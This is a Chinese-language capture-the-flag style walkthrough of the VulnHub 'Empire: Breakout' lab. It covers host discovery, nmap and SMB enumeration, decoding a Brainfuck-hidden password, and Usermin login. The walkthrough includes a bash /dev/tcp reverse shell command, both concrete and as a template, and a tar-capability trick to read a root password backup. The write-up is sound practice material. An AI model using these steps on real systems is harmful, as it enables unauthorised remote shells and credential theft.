VulnHub
- 1:靶场信息
- 2:打靶
- 2.1:情报收集&威胁建模
- 2.2:漏洞分析&渗透攻击
- 3:总结
- 3.1:命令&工具
- 3.1.1:Nmap
- 3.2:关键技术
VulnHub 打靶记录。官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.2-vmware-amd64。
Kali NAT IP:192.168.8.10。
1:靶场信息
靶场网址:https://www.vulnhub.com/entry/empire-breakout,751/
2:打靶
2.1:情报收集&威胁建模
由于不知道目标主机的 ip,且目标与攻击机在同一局域网,所以可使用 arp-scan
命令发现主机。
发现主机:
arp-scan -l
通过 ping
测试发现 192.168.8.105 在线,靶机 ip 确定。
目标信息扫描:
nmap -sS -sV -T4 -n -p- 192.168.8.105
Nmap scan report for 192.168.8.105
Host is up (0.0012s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10000/tcp open http MiniServ 1.981 (Webmin httpd)
20000/tcp open http MiniServ 1.830 (Webmin httpd)
MAC Address: 00:0C:29:B8:7A:E6 (VMware)
访问 80 端口,是 Apache 的默认页面。
查看页面源码,发现一串加密信息。为 Brainfuck 编码。
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->
Brainfuck 在线编解码:
http://www.hiencode.com/brain.html
解密后的内容:
.2uqPEfj3D<P'a-3
访问 10000 端口,是一个使用 https 的 Webmin 页面。
访问 20000 端口,是一个使用 https 的 Usermin 页面。
139 端口与 445 端口表明主机开启了 SMB 服务,使用 enum4linux
对 SMB 进行枚举探测
枚举 SMB 信息:
enum4linux 192.168.8.105
探测到一个本地用户 cyber。
2.2:漏洞分析&渗透攻击
使用用户名【cyber】与【.2uqPEfj3D<P’a-3】作为密码尝试登录 Webmin 与 Usermin。成功从 Usermin 登录。
且在页面可以发现一个 shell。
查看当前用户 home 目录下的文件。
ls -al
目录下的 user.txt 文件可能会比较有趣。
cat user.txt
发现了第一个 flag。
接下来进行提权。为了方便操作,首先使用 netcat
进行 shell 反弹。目标主机上的 netcat 没有权限,所以这里使用其他方法。
1、kali:nc -lv -p 6666
2、server:bash -i >& /dev/tcp/192.168.8.10/6666 0>&1
成功反弹 shell 到 kali。
接下来要搜集其他的信息以帮助提权。
先寻找一下主机上有没有什么备份文件和与密码相关的文件。
find / -name '*.bak'
find / -name '*pass*'
找到一个备份文件 /var/backups/.old_pass.bak。
/var/backups/.old_pass.bak 没有执行权限。
尝试把文件拷贝或传输,提示权限不够。
此时得想其他办法,先从已有的信息入手。可以发现 home 目录下 tar 这个文件权限很高。与 tar
命令同名。
再使用 getcap 命令查看一下该文件权限。
getcap ./tar
结果结果显示此文件可以读取任意文件。
那就使用 home 目录下的 tar 文件把 /var/backups/.old_pass.bak 压缩,再用系统的 tar
命令解压,这样就解决了权限问题。
打包文件:
./tar -cvf ./passwd.tar /var/backups/.old_pass.bak
解压文件:
tar -xvf passwd.tar
读取解压后的文件 ./var/backups/.old_pass.bak。
cat ./var/backups/.old_pass.bak
Ts&4&YurgtRX(=~h
网页上无法进行提权,所以得回到 kali 得到的反弹 shell 进行 root 账户登录。
到这里就可以看到提权成功了:
进入 /root/ 下拿到最后的 flag:
至此,打靶结束,完结撒花。
3:总结
万事开头难,作为在 VulnHub 打的第一个靶,选了一个比较简单的靶场。
嗯,又开了一个新坑。(= ̄ω ̄=)
3.1:命令&工具
- arp-scan
- nmap
- enum4linux
- netcat
- bash
- getcap
- 基本 linux 命令
- Brainfuck 在线编解码:
http://www.hiencode.com/brain.html
3.1.1:Nmap
部分选项:
参数 | 介绍 |
---|---|
-sS/sT/sA/sW/sM | TCP SYN/Connect()/ACK/Window/Maimon scans |
-sV | Probe open ports to determine service/version info |
-T<0-5> | Set timing template (higher is faster) |
-n/-R | Never do DNS resolution/Always resolve [default: sometimes] |
-p- | 描目标主机的所有端口 |
3.2:关键技术
-
主机发现,ARP 二层发现:
arp-scan -l
-
目标信息扫描,扫描所有端口及开放端口的服务:
nmap -sS -sV -T<0-5> -n -p- <target>
-
Brainfuck 编码方式。
-
SMB 服务信息枚举:
enum4linux <target>
-
反弹 shell,利用 bash 配合 netcat:
1、kali:nc -lv -p <端口>
2、target:bash -i >& /dev/tcp/<address>/<端口> 0>&1
bash -i >& /dev/tcp/<address>/<端口> 0>&1
是一个常用的反弹 shell 命令。常用于把内网的机器反弹到外网机器上,从而实现外网主机控制内网主机。在内网环境也可以用。
这个命令的功能简单来说就是将输入输出重定向到指定的位置,达到反弹 shell 的结果。
- find 命令查找关键信息。
都道无人愁似我,今夜雪,有梅花,似我愁。
——《梅花引 · 荆溪阻雪》(宋)蒋捷